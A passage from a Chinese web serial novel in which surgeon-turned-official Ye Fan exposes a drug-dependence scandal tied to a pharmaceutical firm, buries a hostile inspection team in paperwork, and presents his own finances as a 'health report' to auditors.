“都过去了。”叶凡安慰道,“你哥也受到了应有的惩罚。”
“不,还没完。”王雪摇摇头,她从布包里,小心翼翼地拿出一个陈旧的笔记本,递给叶凡。
“这是我爸的日记。他以前也是个医生,后来身体不好才不做了。他做手术前,其实身体已经很差了,但他一直在自己调查一些事情。他去世前一天,把这个本子交给我,他说,他信不过我哥,如果他有什么万一,让我一定把这个本子,交给一个他信得过的好医生。”
王雪的眼睛里闪烁着一种坚定的光:“叶医生,我看了新闻,我知道,您就是我爸说的那种好医生。这个,给您。”
叶凡接过那个沉甸甸的笔记本,心中涌起一股异样的感觉。
“这里面,是什么?”
“我看不懂。”王雪摇摇头,“都是一些药名,还有日期,还有一些奇怪的符号。但我爸说过,这里面,藏着能要人命的秘密。”
第196章 病历里的幽灵!
回到青川县,叶凡没有回办公室,而是直接去了苏沐秋在青川县报的宿舍。
**打来电话,语气里满是藏不住的兴奋和八卦:“怎么样,怎么样?老弟,跟高**‘会诊’得如何?他没给你上‘电击’吧?”
“放心吧,李县长。”叶凡一边翻着那本旧笔记本,一边回答,“我们进行了一次友好而深入的交流,并就国际医院项目的督导工作,达成了一致意见。”
“说人话!”
“我把他派来的‘监军’,升级成了‘联合国观察团’。”
电话那头沉默了三秒,随即爆发出**夸张的大笑:“高!实在是高!老弟,我发现跟着你干,比看好莱坞大片还刺激!行了,你先忙,我去准备一下,热烈欢迎王海东副市长莅临我县‘视察’!”
挂了电话,苏沐秋端着两杯热茶走了过来。
她看到叶凡凝神专注的样子,好奇地问:“这是什么?看你从江城回来,就一直盯着它。”
“一个去世的老病人,留下的‘病历’。”叶凡将笔记本推到她面前。
苏沐秋接过来,翻开。
本子很旧,纸页泛黄,上面用钢笔写满了密密麻麻的字。
正如王雪所说,大部分都是她看不懂的药名、剂量、日期,以及一些类似图表的标记。
“这简直就是天书啊。”苏沐秋看得头大。
“对于外行来说是天书,但对于内行来说,这就是一份调查报告。”叶凡的目光,落在一页反复出现的药名上。
“瑞康宁。”他指着那三个字,“一种进口的心血管靶向药,主要用于治疗冠心病和心绞痛,价格非常昂贵,一个疗程就要好几万。”
“这个药有问题?”苏沐秋的记者直觉立刻上线。
“药本身可能没问题,有问题的是用药的人和方式。”叶凡指着笔记本上的记录,“你看,王大爷记录了十几例使用‘瑞康宁’的病例。这些病人,都有一个共同点。”
“什么共同点?”
“他们在使用了‘瑞康宁’之后,短期内病情都得到了显著缓解。但是,在停药或者转用其他药物后,很快就出现了严重的心功能衰竭,或者其他并发症,死亡率高得惊人。”叶凡的声音变得低沉,“这不正常。靶向药的作用是精准打击病灶,就算停药,也不应该出现如此剧烈的反弹。这更像……像是一种药物依赖,甚至是**。”
苏沐秋倒吸一口凉气:“你的意思是,这个‘瑞康宁’有问题?”
“或者说,这批‘瑞康宁’有问题。”叶凡翻到笔记本的后面几页,上面记录了几个公司的名字,和一些零散的账目信息。“王大爷显然也怀疑了,他开始调查这个药的来源。你看,他记录了这家药的国内总代理,‘华瑞医药集团’。”
“华瑞医药……”苏沐秋念着这个名字,秀眉微蹙,“我好像在哪儿听过,是江城本地一家非常有名的医药企业,纳税大户,明星企业。”
“对。王大爷的记录到这里就断了。但他用红笔,在‘华瑞医药’旁边,画了一个大大的问号,还写了两个字——‘回扣’。”
一个模糊的链条,开始在两人脑海中形成。
昂贵的进口药,异常的术后反应,明星医药企业,以及“回扣”的暗示。
这一切都指向一个可能存在的,围绕着药品和医疗系统的黑色利益网。
“我来查查这个华瑞医药。”苏沐秋立刻拿出手机,开始利用自己的媒体资源库进行检索。
叶凡则继续研究那本笔记,他那双做过无数精密手术的眼睛,此刻就像一台高精度的扫描仪,不放过任何一个细节。
一个小时后,苏沐秋抬起头,脸色有些苍白。
“查到了。华瑞医药集团,董事长叫高建业。”
“高建业?”叶凡重复了一遍这个名字,隐隐觉得有些耳熟。
“对。”苏沐秋的声音带着一丝颤抖,“他是高建民**的亲弟弟。”
轰!
仿佛一道闪电,在叶凡的脑海中炸开。
所有的碎片,在这一瞬间,全部拼接在了一起!
为什么高建民从一开始就对他抱有敌意?
为什么魏东的华天资本能和高建民走得那么近?
为什么高建民对国际医院项目如此抗拒,甚至不惜动用权力强行叫停?
为什么在他洗清医疗事故的冤屈后,高建民反而恼羞成怒,将他发配去扶贫?
为什么在刚刚的会面中,王海东会莫名其妙地警告他“不要去挖老坟”?
原来如此!
这根本不是什么单纯的政见不合,也不是什么**。
这是一场围绕着巨大利益的生死博弈!
青川国际医院项目,叶凡提出的“全球公开招标,全程网络直播”,就像一把锋利的手术刀,要切开江城医疗系统这个封闭的“脓包”。
而这个脓包的核心,就是以华瑞医药为代表的,由高家兄弟建立起来的,盘根错节的利益帝国!
叶凡的出现,他的专业背景,他那外科医生般追根究底的行事风格,对于高建民来说,是致命的威胁。
他不是一个搅局的政敌,他是一个能精准找到病灶,并且有能力、有胆量切除它的“主刀医生”
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所以,高建民必须不惜一切代价,阻止他,打压他,把他赶出这个“手术室”。
“我明白了……”叶凡长长地吐出一口气,眼神却变得前所未有的明亮。
苏沐秋看着他,担忧地问:“那……那我们现在怎么办?这牵扯到****,我们……”
“怎么办?”叶凡笑了,他拿起那本旧笔记本,在苏沐秋面前晃了晃,“病人已经找到了,病历也到手了,诊断也明确了。你说,一个医生,接下来该干什么?”
苏沐秋看着他眼中的光芒,也慢慢地镇定了下来。
她知道,这个男人又找到了他新的“手术台”。
“准备手术。”她坚定地说道。
“没错。”叶凡站起身,走到窗前,看着青川县城的万家灯火,“不过这次,手术的难度比以往任何一次都要大。我们面对的不是一个孤立的肿瘤,而是一个已经侵入中枢神经系统的癌细胞扩散区。”
就在这时,王海东副市长带着他的“督导组”,高调抵达了青川县。
车队直接开到县政府门口,王海东背着手,一脸官威地走下车。
他看都没看前来迎接的**,直接开口问道:“叶凡同志呢?让他马上来见我,我要听取项目的第一阶段汇报!”
**正要派人去叫,叶凡却已经从不远处走了过来。
他手里拿着一摞厚厚的文件夹,脸上带着热情洋溢的笑容。
“王市长!您可算来了!我们是盼星星盼月亮,终于把您给盼来了!”叶凡快步上前,紧紧握住王海东的手,用力地摇晃着,热情得让王海东都有些发懵。
“这是我们为您和督导组同志们准备的项目资料,一共三千六百页,详细记录了项目从构思到目前的所有细节。”叶凡将那比砖头还厚的文件夹塞到王海东怀里,“这是未来一周的行程安排,我们安排了三十六场基层座谈会,二十一次实地考察,还有十二场专家视频会议,想请您全程指导!”
王海东抱着那堆沉甸甸的文件,听着那一长串密密麻麻的安排,脸上的官威,瞬间凝固了。
他看着眼前这个笑得像花儿一样的年轻人,忽然产生了一种不祥的预感。
自己好像不是来当太上皇的,而是来掉进一个精心布置好的“题海”陷阱里的。
叶凡看着王海东那张精彩纷呈的脸,心中冷笑。
游戏,现在才真正开始。
他转头,对身旁的苏沐秋低声说了一句:“帮我约一下康普顿的史密斯先生,就说,关于合作,我有一个能让‘瑞康宁’睡不着觉的新想法。”
第197章 太上皇的“题海战术”!
王海东抱着那摞比城墙拐角还厚的文件夹,感觉自己不是来当督导组长的,倒像是来参加高考的落榜生,被罚抄写全部复习资料。
他那张精心保养、常年保持着官威的脸,此刻的表情跟调色盘一样,青一阵白一阵。
叶凡的热情还在升温,他紧紧握着王海东的手,仿佛对方是失散多年的亲人。
“王市长,您是我们的主心骨啊!有了您坐镇,我们心里就踏实了!来来来,我给您介绍一下,这是我们项目组的同志,为了迎接您的到来,他们可都是通宵达旦,把所有材料都准备好了!”
王海东身后那几位从市里带来的,原本个个眼高于顶的“专家”,看到这阵仗也傻眼了。
他们本以为是来青川县作威作福,喝喝茶、听听汇报、挑挑毛病,结果一上来就被人塞了一怀抱的“作业”。
“叶凡同志,这个……这个是不是太……”王海东想说“太夸张了”,但话到嘴边又咽了回去。
他不能表现出自己被镇住了,只能干咳一声,强行把官威重新端起来,“工作的细致是好事,但也要讲究方法。我们督导组下来,主要是抓大放小,听取核心汇报。”
“王市长说得对!”叶凡立刻附和,一脸“我怎么就没想到”的崇拜表情,“核心!对,就是核心!您看,这第一部分,就是项目的核心构思和可行性论证,一共八百页,里面引用了三百七十二份国内外医疗政策文件和四十五篇顶级医学期刊的论文,我都用红笔标注了重点,方便您审阅。”
他指着文件夹最上面那厚厚的一沓。
王海东眼角抽搐了一下。
“这第二部分是项目的财务模型和风险对冲方案,也就六百多页。这里面,我特别做了个‘全周期多维度风险对冲模型’,就是上次跟周司长汇报的那个,怕您不熟悉,我特地把演算过程和数据来源附在了后面,也就……也就四百来页附录吧。”
王海东的嘴角开始不自觉地抖动。
**在一旁看得是心花怒放,强忍着笑意,装出一副为主分忧的样子,上前一步:“王市长,您看,叶凡同志就是这么个实在人,搞技术出身,就怕有半点疏漏。您远道而来,要不先去休息?这些材料,我们给您送到房间?”
这本是句客套话,给王海东一个台阶下。
谁知王海东是高建民派来的,憋着一口气,怎么肯示弱。
他冷哼一声,把怀里的文件夹往随行秘书手上一塞,沉声道:“不用!我们是来工作的,不是来度假的!就在这儿看!小刘,把会议室收拾一下,把材料分发下去,我们督导组今天就开个预备会,先熟悉一下情况!”
他就不信,这么一大堆废纸里,找不出一点毛病来!
一个小时后,县政府小会议室里,气氛诡异。
王海东和他带来的几位“专家”,人手捧着一本厚得能当枕头的报告,一个个看得头昏眼花,脸色比锅底还黑。
王海东翻得手都酸了,他试图找点茬,随便指着一页问道:“这个……这个‘基于马尔可夫链的医疗资源动态分配预测模型’,是什么意思?搞得这么复杂,有必要吗?”
他本以为能问住叶凡,显得自己很有水平。
叶凡立刻站起身,像个准备答辩的研究生,眼睛都在放光:“王市长您问到点子上了!这个模型至关重要!传统的资源分配是静态的,但青川县的人口结构和疾病谱是动态变化的。比如,春季流感高发,我们的模型就能提前预测到门诊压力将增加百分之三十,从而建议提前增设临时诊室,储备相关药品。夏季溺水事故多发,模型会建议将急救资源向水库、河流等区域倾斜。它能让我们的每一分钱,都花在刀刃上!您翻到附录第七章第三节,那里有我们根据过去五年数据做的回溯性验证,模型预测的准确率达到了百分之九十二点七!这可是能救命的啊!”
他一口气说完,还意犹未尽地看着王海东,眼神里充满了“您想不想听我再讲两个小时”的渴望。
王海东张了张嘴,一个字也说不出来。
他感觉自己不是在审阅报告,而是在被动地接受一场博士级别的学术灌输。
他身边的几位专家更是把头埋得低低的,生怕叶凡的目光扫到自己身上。
**适时地端着茶杯走过来,给王海东续上水,语重心长地说:“王市长,您看,叶凡同志就是个书呆子脾气。您多担待。他这人,没什么别的爱好,就喜欢研究这些东西。前几天为了迎接您,愣是把自己关在办公室里两天两夜,把这些东西又重新梳理了一遍。我们都劝他休息,他说不行,督导组下来是帮助我们发现问题的,我们自己必须先把功课做足,不能浪费领导的宝贵时间。”
这番话,明着是替叶凡解释,实则是在王海东的伤口上撒了一把盐。
你不是要检查吗?
人家准备好了,就等你来。
你要是看不懂,那就是你水平不行;你要是看得懂,那就陪着他一起熬吧。
王海东感觉自己被架在火上烤,进退两难。
他带来的那几个审计、工程方面的专家,本想在自己擅长的领域里找找茬,结果翻开对应的章节一看,里面全是密密麻麻的国标、行标、各种复杂的计算公式和流程图,严谨得让他们连个标点符号的错误都找不到。
这哪里是项目报告,这分明是一套教科书!
一下午的时间,王海东和他的督导组,就在这“题海”里苦苦挣扎,连午饭都是在会议室吃的盒饭。
等到傍晚,王海东感觉自己的眼睛都快瞎了,脑子里全是各种模型和数据在打架。
他终于撑不住了,把报告往桌上一摔:“今天就到这里!明天……明天我们去实地考察!”
他决定换个战场,纸上谈兵不行,他就去工地上找毛病!
“太好了!”叶凡立刻接话,递上一份新的文件,“王市长,这是我们为您规划的未来一周实地考察路线图,涵盖了项目选址、周边配套、地质勘探等二十一个考察点,每个点我们都准备了详细的讲解材料和现场问答环节。您放心,保证让您把青川县的每一寸土地都了解得清清楚楚!”
王海东看着那张密密麻麻的行程表,感
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觉一阵天旋地转,差点一口气没上来。
送走了“疲惫不堪”的督导组,**终于忍不住在办公室里笑得前仰后合,眼泪都出来了。
“高!老弟,你这招实在是高!这不叫督导,这叫‘军训’啊!我看王海东那张脸,比吃了苍蝇还难受!”
叶凡只是淡淡一笑,把玩着手里的钢笔:“他想来当太上皇,我们就得让他体验一下什么叫‘批阅奏章’的辛苦。”
笑过之后,**又有些担忧:“不过,把他逼急了,恐怕会狗急跳墙啊。”
“他会的。”叶凡的眼神沉静下来,“所以,我们得在他跳墙之前,把他的梯子给抽了。”
他转头看向一直安静待在一旁的苏沐秋。
苏沐秋心领神会,知道他们要谈正事了。
她走到叶凡身边,压低声音:“王海东被你拖住了,我们有时间了。”
“对。”叶凡将那本旧笔记本拿了出来,神情变得严肃,“这本笔记是王大爷留下的‘尸检报告’,它告诉我们病人是**的。但要想起诉凶手,我们还需要一份‘活体组织样本’。”
苏沐秋立刻明白了:“你的意思是找到一个正在使用‘瑞康宁’,并且出现了类似症状的病人?”
“没错。”叶凡点头,“而且,这个病人的家属必须足够理智,足够勇敢,还要有能力和我们一起面对接下来可能发生的**。这不是一件容易的事。”
苏沐秋的眼中闪过一丝坚毅:“交给我。我是记者,找人是我的本行。江城医疗系统,我总能找到突破口。”
她说完,正准备离开,却又停下脚步,转过身看着叶凡。
月光从窗外洒进来,给她镀上了一层柔和的光晕。
“叶凡。”
“嗯?”
“这件事很危险,对方是****的弟弟。我去做你的‘战地记者’可以,但你得答应我一个条件。”
“什么条件?”
苏沐秋的脸颊微微泛红,她抿了抿嘴唇,似乎有些不好意思,但眼神却很认真:“以后不许再把自己关在办公室里两天两夜不出来。还有等这件事了了,你教我怎么看心电图吧?”
叶凡愣住了。
“我想多了解一下你的世界。”苏沐秋的声音很轻,却像羽毛一样,轻轻搔刮着他的心脏,“不只是那个当县长的叶凡,还有那个当医生的叶凡。”
看着她清澈又带着一丝期盼的眼睛,叶凡感觉自己那颗在手术台上锤炼得坚如磐石的心忽然被什么东西柔软地撞了一下。
他沉默了片刻,点了点头:“好。”
就在这时,叶凡的手机响了。
他看了一眼号码,是王海东的秘书打来的。
叶凡接起电话,听筒里传来对方客气又冰冷的声音。
电话挂断后,叶凡的脸色沉了下来。
“怎么了?”苏沐秋紧张地问。
“王海东刚刚通知我,明天不去实地考察了。”
“那他想干什么?”
叶凡的目光变得锐利:“他改变了策略。明天,市纪委、审计局会组成一个联合调查组,进驻青川,对我个人,进行财务审计。”
第198章 一份特殊的“体检报告”!
第二天一早,山雨欲来风满楼。
几辆挂着江城市牌照的黑色轿车,悄无声息地驶入了青川县政府大院。
车上下来的人,个个神情严肃,不苟言笑。
为首的,正是市纪委的一位副处长,姓张,是王海东从市里特意调来的“审计尖刀”,以六亲不认、手段严酷著称。
王海东这次没有亲自出面,他选择坐镇后方,遥控指挥,摆出了一副公事公办、避嫌的姿态。
消息传开,整个县政府的气氛都变得压抑起来。
谁都看得出,这是项庄舞剑,意在沛公。
昨天在项目上没找到茬,今天就直接从个人经济问题下手了。
这是官场斗争里,最狠、最致命的一招。一旦被查出问题,哪怕只是几千块钱的账目不清,都可能被无限放大,断送**前途。
**的办公室里,烟雾缭绕。
他一根接一根地抽着烟,急得在地上来回踱步。
“混蛋!这帮人是疯狗吗?查项目不成,就直接咬人了!”**一拳砸在桌子上,“叶凡,你老实告诉我,你有没有什么手脚不干净的地方?哪怕是一点点,现在说出来,我们赶紧想办法补救!”
叶凡正坐在沙发上,悠闲地喝着茶,神情平静得像是在听天气预报。
“李县长,别激动,抽烟伤肺。”他放下茶杯,笑了笑,“我的手很干净,动手术的时候,要用消毒水洗七遍,比我的脸都干净。”
“都什么时候了,你还有心情开玩笑!”**急得直跺脚,“那帮人是纪委和审计局的,是专业的!他们能把一笔清清白白的账,给你查出花来!鸡蛋里都能给你挑出骨头!”
“那正好。”叶凡站起身,整理了一下衣领,“我正想请他们给我做个全面的‘财务体检’。走吧,李县长,别让客人等急了。”
联合调查组的临时办公室里,气氛冰冷。
张处长坐在主位,面无表情地看着走进来的叶凡。
“叶凡同志,根据**指示,我们需要对你自任职以来的所有个人及经手项目的财务状况,进行一次例行审计。希望你配合。”张处长的声音不带一丝感情。
“当然,我完全配合组织调查。”叶凡脸上挂着和煦的笑容,仿佛不是被审查,而是来领奖的。
他将一个厚厚的U盘放在桌上,“张处长,为了节省大家的时间,我已经把你们需要的所有东西都准备好了。”
张处长身后的一个年轻审计员,拿起U盘插入电脑。
很快,屏幕上就跳出了一个制作精美的PPT。
标题是:《关于叶凡同志个人财务健康状况的综合评估报告》。
调查组所有人都愣住了。
这是什么操作?
自己给自己做审计报告?
叶凡没理会他们的惊愕,径直走到屏幕前,拿起激光笔,像个做产品发布的CEO。
“各位领导,这份报告,我称之为我的‘财务体检报告’。下面,我为大家简要介绍一下我的‘身体状况’。”
他按下了翻页键。
“首先,是‘血液系统’——也就是我的个人收入。主要由两部分构成:一是‘主动脉供血’,即我的工资性收入,每一笔都由县财政统一发放,记录清晰,有据可查。二是‘**细血管微循环’,主要是我过去作为外科专家,偶尔在一些学术期刊上发表文章获得的稿费,数额不大,但都依法纳税。我的‘血脂’、‘血糖’均在正常范围内,不存在任何来源不明的‘高血脂’收入。”
会议室里,一片死寂。
张处长和他带来的人,一个个张着嘴,不知道该作何反应。
这小子是在汇报工作,还是在说单口相声?
叶凡神情自若,继续翻页。
“其次,是‘消化与代谢系统’——也就是我的个人支出。我将其分为三类。第一类,‘维持性基础代谢’,包括房贷、水电、日常饮食等,这部分支出稳定,符合我的收入水平。第二类,‘功能性营养补充’,比如购买书籍、参加线上培训等,我称之为‘对大脑的营养投资’。第三类,也是最大的一块,我称之为‘家族性**支出’。”
他顿了顿,PPT上出现了一张银行转账记录的截图。
“我母亲身体不好,需要长期服药。我妹妹还在上大学,需要生活费。这部分支出,占据了我收入的大头。每一笔转账,我都附上了事由和说明。各位可以看作,我这个‘主体器官’,在持续为其他‘关联器官’提供生命支持。所有记录都在这里,清晰可查。”
一个年轻的调查员忍不住,小声嘀咕了一句:“这家伙……是个狼人啊……”
张处长的脸色已经从铁青变成了酱紫。
他从业多年,审过的干部没有一百也有八十,有哭天抢地的,有负隅顽抗的,有装疯卖傻的,但就是没见过这种把自己的财务状况做成一份医学报告,还主动给你讲解的!
他想发火,却发现无从发泄。
人家态度极好,配合度极高,资料准备得比他们要求的还详细。你还能说什么?
“最后,是‘免疫系统’——也就是我的社会关系和人情往来。”叶凡的语气变得严肃起来,“我深知,作为一名干部,‘免疫力’至关重要。报告里详细记录了我任职以来,参加的所有婚丧嫁娶、人情往来。每一笔礼金,都严格遵守**的规定,绝不超过二百元。并且,我还建立了一个‘抗体数据库’,详细记录了送出和收回的每一笔礼,确保‘免疫平衡’,绝不存在利用职权进行‘过敏性敛财’的行为。”
“噗——”
**实在没忍住,一口茶喷了出来,然后又拼命咳嗽,憋得满脸通红。
叶凡做完报告,微笑着看向张处长:“张处长,我的‘体检报告’汇报完了。各项指标自我评估都是‘健康’。当然,我的评估不一定专业,接下来,就要辛苦各位专家用你们的‘精密仪器’,对我进行一次更深入的‘全身扫描’了。如果发现任何‘病灶’或者‘肿瘤’,请务必第一时间告诉我,我一定积极配合‘手术治疗’!”
张处长感觉自己的太阳穴在突突直跳。
他有一种强烈的预感,这次审计恐怕要成为他职业生涯里最大的一个笑话。
他挥了挥手,声音沙哑:“我们会认真核查的。”
叶凡走出会议室,**追了上来,对他竖起一个大拇指,脸上的笑意怎么也藏不住:“老弟,你这脑子到
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底是怎么长的?我今天算是开了眼了!纪委的剑,硬是让你当成了听诊器用!”
叶凡笑了笑,正要说话,手机震动了一下。
是苏沐秋发来的短信。
“鱼已上钩。城南区,退休教师,陈清源。其子陈默,职业,律师。等你。”
叶凡的眼神瞬间变得深邃。他回复了两个字:“马上。”
他刚收起手机,准备找个理由离开,王海东的电话就打了过来。
听筒里,王海东的声音带着压抑不住的怒火和一丝气急败坏。
“叶凡!你少给我耍花样!财务上查不出问题,不代表你就干净!我问你,你跟康普顿医学中心的史密斯,最近是不是有接触?!”
叶凡心中一动,看来高建民的眼线无处不在。
“王市长,史密斯先生是国际医院项目的潜在合作方,我作为项目负责人,与他沟通工作,很正常吧?”
“正常?”王海东冷笑,“我告诉你,叶凡!这个项目是市里主导的!任何对外的合作洽谈都必须经过督导组!你绕开我们,私下里和外方接触,是想干什么?是不是有什么见不得人的交易?!”
这是急了,开始扣帽子了。
叶凡的语气也冷了下来:“王市长,如果你认为正常的项目洽谈是‘见不得人的交易’,那么我建议我们下次和史密斯先生开会的时候,把你、市纪委的张处长、省发改委的专家,都请到现场。我们开一个全球直播的视频会议,让全国人民都来听一听,我们到底在谈什么。”
电话那头,王海东瞬间噎住了。
叶凡不等他回话,继续说道:“另外,我正要向您汇报。我刚刚和史密斯先生达成一个初步意向。他提议,由康普顿医学中心出资,与我们青川县合作,建立一个‘国家级药品上市后不良反应监测研究中心’。他们提供技术、设备和国际标准,我们提供平台和病例数据。这个中心将对所有在国内上市的药品进行持续的、独立的安全性评估。王市长,您觉得,这个提议怎么样?”
王海东彻底懵了。
药品不良反应监测中心?还是国家级的?这……这是天大的政绩啊!
而且,这个提议,听起来怎么那么耳熟?好像……好像就是冲着某些药品企业去的!
“史密斯先生还说,作为诚意,他愿意将康普顿内部的一套‘化合物快速筛选和毒理分析’的专利技术,无偿提供给这个中心使用。他说,他不能容忍任何合作伙伴的供应链里出现‘玷污医学荣誉’的产品。”
叶凡的声音,像一把冰冷的刀,一刀一刀地扎在王海东的心上。
王海东终于明白过来,叶凡这不是在私下交易,他是在釜底抽薪!
他要把高家最核心的利益——华瑞医药,放到一个国际顶级的“显微镜”下面,公开解剖!
“你……你……”王海东气得说不出话来。
叶凡挂断电话,嘴角露出一抹冷意。
他知道,这张网,已经开始收紧了。
就在此时,秘书小张脸色煞白地冲了过来,声音都在发抖:“叶……叶县长,不好了!王市长的人刚刚带着封条,去了青山镇!他们…他们把您在镇医院的老办公室,给封了!”
第199章 无影灯下的“旧伤疤”!
消息像一阵风,迅速吹遍了青川县的角角落落。
查财务不成,就去翻旧账。
而且是翻叶凡刚踏入这片土地时的旧账。
这吃相,未免太难看了些。
**在办公室里气得暴跳如雷,拍着桌子就要去找王海东理论。
“欺人太甚!这是彻头彻尾的****!他们想干什么?想从你救人的手术里找出**的证据吗?”
“李县长,别冲动。”叶凡拦住了他,眼神平静得像一潭深水,“让他们去查。一块伤疤,反复揭开,看着是疼。但只有把它彻底暴露在无影灯下,刮干净腐肉,才能真正愈合,不留后患。”
**愣愣地看着他,一时间没明白他话里的深意。
“他们以为我的过去是污点,是能置我于死地的把柄。”叶凡的声音很轻,却带着一种洞悉一切的穿透力,“但他们不知道,我的过去,才是我最坚硬的铠甲。”
青山镇。
王海东的亲信,市审计局的副局长刘伟,带着一队人马,浩浩荡荡地开进了这个偏远的小镇。
他们没有惊动镇政府,而是直奔镇医院。
刘伟的算盘打得很精。
叶凡在青山镇的威望太高,从镇干部入手,肯定问不出什么。
但医院不一样,这是个专业性极强的地方,任何一点小小的医疗差错,在他们这些外行看来,都可能被放大成“医疗事故”。
尤其是叶凡刚来时,在那么简陋的条件下做了那么多台高难度手术,不可能一点瑕疵都没有。
他们封存了叶凡的办公室,调走了他经手的所有病历档案,然后开始分头“走访”。
第一个被叫去“喝茶”的,是医院的老院长李德海。
刘伟摆出一副威严的架势,开门见山:“李院长,我们是市里的调查组。今天来,是想了解一下叶凡同志当初在你们医院工作时的一些情况。你不要有顾虑,实话实说。”
李德海微微一笑,慢悠悠地开口:“叶县长啊,那可是我们青山镇的大恩人呐。”
刘伟皱了皱眉,这开场白不对啊。他敲了敲桌子:“我们不是来听你唱赞歌的。我是问,他在工作中有没有犯过什么错误?比如,不遵守操作规程,或者和病人家属发生过什么不愉快的**?”
“错误?”李德海想了想,一拍大腿,“有!他最大的错误,就是太不把自己的命当回事了!”
刘伟精神一振,来了!
“那次连环车祸,钱**的儿子送来,颅内出血,瞳孔都散了。按规矩,我们这种级别的医院,根本没资格动这种手术,应该立刻转院!可他呢?他非要当场开颅!这不是违反规定是什么?!”李德海说得义愤填膺。
刘伟心中狂喜,连忙追问:“然后呢?是不是出了什么问题?”
“问题大了!”老院长一瞪眼,“问题就是,他居然把人给救活了!你说气不气人!这要是转到县里,路上耽搁一下,人早没了!他这是不把我们卫生系统的规章制度放在眼里啊!”
刘伟:“……”
他感觉自己像是一拳打在了棉花上,还是带刺的那种。
调查组的另一队人马,找到了当年被叶凡驳斥过的那个副镇长。
如今,这位副镇长因为能力平庸,早被边缘化了。
调查人员觉得,他肯定对叶凡怀恨在心。
“我们知道,当初因为采石场的事,你和叶凡同志有些不愉快。”调查员循循善诱,“你跟我们说说,他当时是不是态度很嚣张,滥用职权?”
前副镇长一听,顿时来了精神,唾沫横飞地控诉起来:“嚣张?何止是嚣张!他简直是目中无人!我好歹也是个副镇长,他一个从市里下来镀金的医生,当着那么多人的面,指着我的鼻子骂**菅人命!还有没有王法了?”
调查员大喜,赶紧记录:“他骂你?还当众?”
“对!骂得我狗血淋头!”前副镇长越说越气,“后来,关停石料厂,又是他!那石料厂背后是谁?是柳家的亲戚!他倒好,一句话就给关了!断了多少人的财路!这人就是个愣头青,做事不过脑子,完全不考虑我们基层干部的难处!”
“好,很好!”调查员感觉挖到了宝,“他还做了什么出格的事?”
“多着呢!他给那些下岗的工人找工作,还自己掏钱垫付医药费!你说,他这么搞,把标准提得那么高,以后我们还怎么工作?群众的胃口都被他喂刁了!他这就是在破坏我们基层的工作生态!”
调查员的笔,停在了半空中。
他呆呆地看着眼前这位义愤填膺的“受害者”,忽然觉得这人不是在告状,倒像是在给叶凡送锦旗。
王海东的“锄奸队”在青山镇忙活了一整天,结果让他们大失所望。
他们非但没有挖到叶凡的任何“黑料”,反而像是来参加了一场别开生面的“叶凡同志先进事迹报告会”。
从医院的护士,到镇上的小贩,再到村里的老农,提起叶凡,个个赞不绝口。
一个调查员去村里走访,问一个大娘:“大娘,叶凡当初关停石料厂,有没有强迫你们做什么?”
大娘耳朵有点背,大声回道:“强迫?有啊!他强迫我们村里的娃儿,每天都能喝上干净水!他强迫我那咳嗽了十年的老头子,现在能一觉睡到大天亮!我跟你说,这样的‘强迫’,我们盼着他天天来!”
调查组灰溜溜地铩羽而归。刘伟向王海东汇报时,声音都带着哭腔:“王市长……咱们好像……不是在调查他,倒像是在帮他整理入党申请的先进材料……”
就在王海东的人马在青山镇进行着一场徒劳无功的“考古”时,叶凡和苏沐秋已经驱车来到了邻县的一家疗养院。
疗养院的单人病房里,弥漫着一股淡淡的药味。
曾经是桃李满天下的退休教师陈清源,如今瘦骨嶙峋地躺在病床上,呼吸微弱。
他的儿子,律师陈默,双眼布满血丝,神情憔悴又带着一丝警惕。
“叶医生,情况就是这样。”陈默递上一沓厚厚的病历,“我父亲去年查出冠心病,一直在用华瑞医药的‘瑞康宁’。一开始效果非常好,但从半年前开始,只要一停药,或者换用其他药物,他的心功能就急剧恶化。医生说是并发症,但我总觉得不对劲。”
叶凡没有说话,他走到病床前,拿起听诊器,仔细地为老人听诊。
然后,他又翻开老人的眼睑,按了按老人的指甲。
一系列看似简单的检查做完,他的脸色已经变得无比凝重。
他转头对陈默说:“陈律师,你父亲
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的心脏不是在衰竭。它在‘石化’。”
“石化?”陈默大惊。
“对。”叶凡的声音冷静而专业,“一种快速的、不可逆的心肌纤维化。这绝不是冠心病的正常病程。我怀疑你父亲服用的‘瑞康宁’里面含有一种未经披露的强效受体激动剂。这种成分能短暂地、强力地扩张血管,制造出病情好转的假象。但一旦停用,就会产生严重的‘反跳效应’,加速心肌细胞的死亡和纤维化。这根本不是在治病,这是在用一种更隐蔽的方式,**病人的心脏,从而让病人对这种‘特效药’产生永久性的依赖。”
陈默听得浑身发冷,他虽然是律师,但叶凡用清晰的逻辑,将这恐怖的医学原理讲得他毛骨悚然。
“我……我该怎么办?”他的声音颤抖。
“我需要一份你父亲的血样。”叶凡看着他,“但我不能在江城的任何一家医院做检测。我需要把它送到京城,去一家绝对可靠的实验室,检测一种特殊的化学标记物。如果能检测出来,这就是铁证。”
“我同意!”陈默毫不犹豫地答应了。他从叶凡的眼睛里,看到了和那些敷衍他的医生完全不同的东西——那是专业、是自信,更是一种对真相的执着。
回青川县的路上,夜色已深。
车里很安静,苏沐秋开着车,叶凡坐在副驾上,闭目沉思。
忙碌了一天,苏沐秋也有些疲惫。
在一个红灯前,她停下车,悄悄地看了一眼身边的男人。
他紧锁的眉头,紧抿的嘴唇,都透着一股化不开的凝重。
但不知道为什么,她却觉得格外心安。
她鬼使神差地轻轻将头靠在了叶凡的肩膀上。
叶凡的身体僵了一下,但没有躲开。
“喂,”苏沐秋的声音很轻,带着一丝疲惫的呢喃,“你说,你一个跟死神打交道的人,身上怎么这么暖和?”
叶凡沉默了片刻,感受着肩膀上传来的柔软和温度,他那颗因为案情而绷紧的心,仿佛被注入了一股暖流。
“手术刀必须是冷的,”他缓缓开口,“但握着刀的手,不能没有温度。”
苏沐秋的嘴角在无人看见的黑暗中,悄悄向上弯起。
车子重新启动,驶入青川县城。
当他们回到县政府招待所时,已是午夜。
叶凡刚下车,手机就剧烈地震动起来。是一个来自国外的陌生号码。
他犹豫了一下,接了起来。
听筒里,传来史密斯先生急促而凝重的声音:“叶!你猜对了!我的团队用质谱分析法,检测了我们合作伙伴库存里的‘瑞康宁’!上帝啊,那根本不是我们的药!里面有一种我们从未注册过的化学添加剂,毒理报告显示,它对心肌细胞有强烈的毒性!这是一桩骇人听闻的丑闻!我的董事会已经授权我,配合你的一切行动!”
叶凡的心猛地提了起来:“好!”
“但是有个坏消息。”史密斯的声音压得更低了,“我们安插在华瑞医药的线人刚刚传来消息。他们的董事长高建业,一个小时前,在江城国际机场,登上了一架飞往北美的私人飞机!”
“他要跑!”叶凡的瞳孔骤然收缩。
